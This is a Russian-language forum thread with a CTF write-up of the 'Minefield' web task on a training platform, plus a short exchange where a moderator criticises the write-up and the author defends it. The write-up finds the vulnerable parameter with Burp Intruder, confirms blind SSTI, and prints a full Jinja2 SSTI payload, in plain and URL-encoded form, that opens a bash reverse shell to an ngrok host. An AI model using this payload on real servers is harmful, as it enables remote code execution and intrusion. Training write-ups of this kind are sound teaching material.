 |

26.12.2023, 22:43
|
|
Познающий
Регистрация: 23.12.2023
Сообщений: 60
С нами:
1260136
Репутация:
0
|
|
Слепая SSTI - Опасные Шаги по Минному Полю
- Приветствие
- Поиск точки входа
- Получение реверс шелла
- Заключение
Приветствую читателей форума и любителей СTF Antichat.games, сегодня мы рассмотрим таск Минное Поле из категории Веб.
Думаю многие в восторге от этой площадки, и я в том числе.
Поиск точки входа
Первое что мы видим попадая на сайт, это игра сапер, поле с ячейками нажимая на которые мы получаем информацию - Неизвестный идентификатор мяча
Мы так же видим параметр ballooon=0 , в данном случае это номер ячейки. Щелкая по ним мы понимаем что поле состоит
из 400 ячеек. Мы можем пофазить эти значения сразу и найти что то интересное. Сделаем мы это в Burp , щелкаем по ячейке,
ловим запрос и отправляем это в Intruder.
Там мы добавляем нагрузку на наше значение, а в payloads выбираем Numbers и число 400 :
И нажимаем Start attack. После запуска мы найдем что искали:
Длинна ответа отличается от остальных. Значит это то, что нам нужно.
Подставив это число в наш параметр мы увидим:
Поздравляю! Вы нашли секретный воздушный шар №337, Хм..
При отправке запроса в Repeater мы видим надпись Server: Werkzeug/2.3.7 Python/3.9.18
Начинаем гуглить:
Это подарок на самом деле, здесь мы понимаем велика вероятность что это ssti.
При подстановке {{300%2b37}} вместо числа 337 мы получаем тот же результат.
Но получить конфиг или что то другое не получается. Здесь мы понимаем что это слепая ssti.
Нам нужно получить RCE, можно воспользоваться ламерскими программами которые делают это очень просто,
но мы не ищем легких путей.
Получение реверс шелла:
Запускаем Ngrok
Включаем слушатель:
В самом burp мы можем отправить запрос в Repeater и там вставить нашу нагрузку в наш параметр balloon= , выглядеть она будет так:
{{self.__init__.__globals__.__builtins__.__import_ _('os').popen('/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14362 0>&1'').read()}}
Только в нашем случае нужно сделать url encode:
{{self.__init__.__globals__.__builtins__.__import_ _(%27os%27).popen(%22%2f%62%69%6e%2f%62%61%73%68%2 0%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f% 64%65%76%2f%74%63%70%2f%36%2e%74%63%70%2e%65%75%2e %6e%67%72%6f%6b%2e%69%6f%2f%31%34%33%36%32%20%30%3 e%26%31%27%22).read()}}
Далее мы просто отправляем запрос :
Бинго! Мы получили наш шелл. Осталось найти флаг, демонстрировать я этого не буду. Он лежит на поверхности, смотрите основную директорию командой ls -la и ищите нужный файл.
Заключение:
Получение RCE через уязвимость SSTI в данном случае говорит о серьезности и опасности этого вектора.
Удаленное выполнение кода - является одной из наиболее серьезных угроз для системы, так как позволяет злоумышленнику выполнить произвольный код на сервере.
Это подчеркивает необходимость тщательной проверки и обработки входных данных, а также безопасности использования шаблонов.
|
|
|

26.12.2023, 23:12
|
|
Новичок
Регистрация: 28.10.2015
Сообщений: 1
С нами:
5549366
Репутация:
0
|
|
vov4ick сказал(а):
Слепая SSTI - Опасные Шаги по Минному Полю
Приветствую читателей форума и любителей СTF Antichat.games, сегодня мы рассмотрим таск Минное Поле из категории Веб.
Первое что мы видим это игра сапер, поле с ячейками нажимая на которые появляется надпись:
Мы так же видим параметр ballooon=0 , в данном случае это номер ячейки. Щелкая по ним мы понимаем что поле состоит
из 400 ячеек. Мы можем пофазить эти значения сразу и найти что то интересное. Сделаем мы это в Burp , щелкаем по ячейке, ловим запрос и отправляем
это в интрудер.
Там мы добавляем нагрузку на наше значение, а в payloads выбираем Numbers и число 400 :
И нажимаем Start attack. После запуска мы найдем что искали:
Длинна ответа отличается от остальных. Значит это то, что нам нужно.
Подставив это число в наш параметр мы увидим:
Поздравляю! Вы нашли секретный воздушный шар №337, Хм..
При отправке запроса в рипитер мы видим надпись Server: Werkzeug/2.3.7 Python/3.9.18
Начинаем гуглить:
Это подарок на самом деле, здесь мы понимаем велика вероятность что это ssti.
При подстановке {{300%2b37}} вместо числа 337 мы получаем тот же результат.
Но получить конфиг или что то другое не получается. Здесь мы понимаем что это слепая ssti.
Нам нужно получить RCE в данном случае, и как можно проще. В данном случае я воспользовался SSTIMAP.
Здесь подробно описано что нам доступно, а что нет. OS shell нам ничего не даст в данном случае при слепой технике, а вот реверс шелл то что нам нужно!
Настраиваем Ngrok и вешаем прослушку
Это будет наш ip и port
Далее прописываем команду и получаем наш шелл.
Оказалось не так сложно. Далее нам нужно найти флаг, показывать я это не буду. Но не уходите в дебри, смотрите основную директорию командой ls -la и ищите нужный файл.
Решений данного таска и инструментов для этого может быть множество, я лишь показал возможный сценарий.
Спасибо за внимание , создателем тасков отдельное спасибо.
Вовчик, вы меня извините, но довольно слабый WRITE-UP. Не написано, как вы получили шелл. Вот ваш предыдущий райтап Antichat - Antichat - Заметки [Writeup], где все хорошо прописано. Переделайте этот и я его оценю.
|
|
|

26.12.2023, 23:17
|
|
Познающий
Регистрация: 23.12.2023
Сообщений: 60
С нами:
1260136
Репутация:
0
|
|
Paladin сказал(а):
Вовчик, вы меня извините, но довольно слабый WRITE-UP. Вы решили этот таск благодаря статье, которую я накануне написал. Не написано, как вы получили шелл. Вот ваш предыдущий райтап Antichat - Antichat - Заметки [Writeup], где все хорошо прописано. Переделайте этот и я его оценю.
Я лично не опирался на вашу статью. Прочитал ее после прохождения данного таска. По этому тыкать меня этим не лучший способ показать что мой врайтап слабый.
|
|
|

26.12.2023, 23:21
|
|
Новичок
Регистрация: 28.10.2015
Сообщений: 1
С нами:
5549366
Репутация:
0
|
|
vov4ick сказал(а):
Я лично не опирался на вашу статью. Прочитал ее после прохождения данного таска
Я акцентировал внимание не на этом. Как вы получили шелл? В ссылке ваш предыдущий райтап написан куда лучше. Давайте доведем этот до ума
|
|
|

27.12.2023, 01:42
|
|
Познающий
Регистрация: 23.12.2023
Сообщений: 60
С нами:
1260136
Репутация:
0
|
|
Paladin сказал(а):
Я акцентировал внимание не на этом. Как вы получили шелл? В ссылке ваш предыдущий райтап написан куда лучше. Давайте довед
Paladin сказал(а):
Я акцентировал внимание не на этом. Как вы получили шелл? В ссылке ваш предыдущий райтап написан куда лучше. Давайте доведем этот до ума
Я исправил данную статью, спасибо за то, что мотивируете стараться и делать лучше. В прошлом сообщении вы сослались на вашу статью, и именно указали что я решил таск благодаря ей. Это голословно. Таск был решен до выхода статьи, и я готов отстаивать это. Мне не приятен этот факт с вашей стороны. С качеством статьи соглашусь и впредь буду уделять больше времени на написание.
|
|
|
|
 |
Предыдущая тема
Следующая тема
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|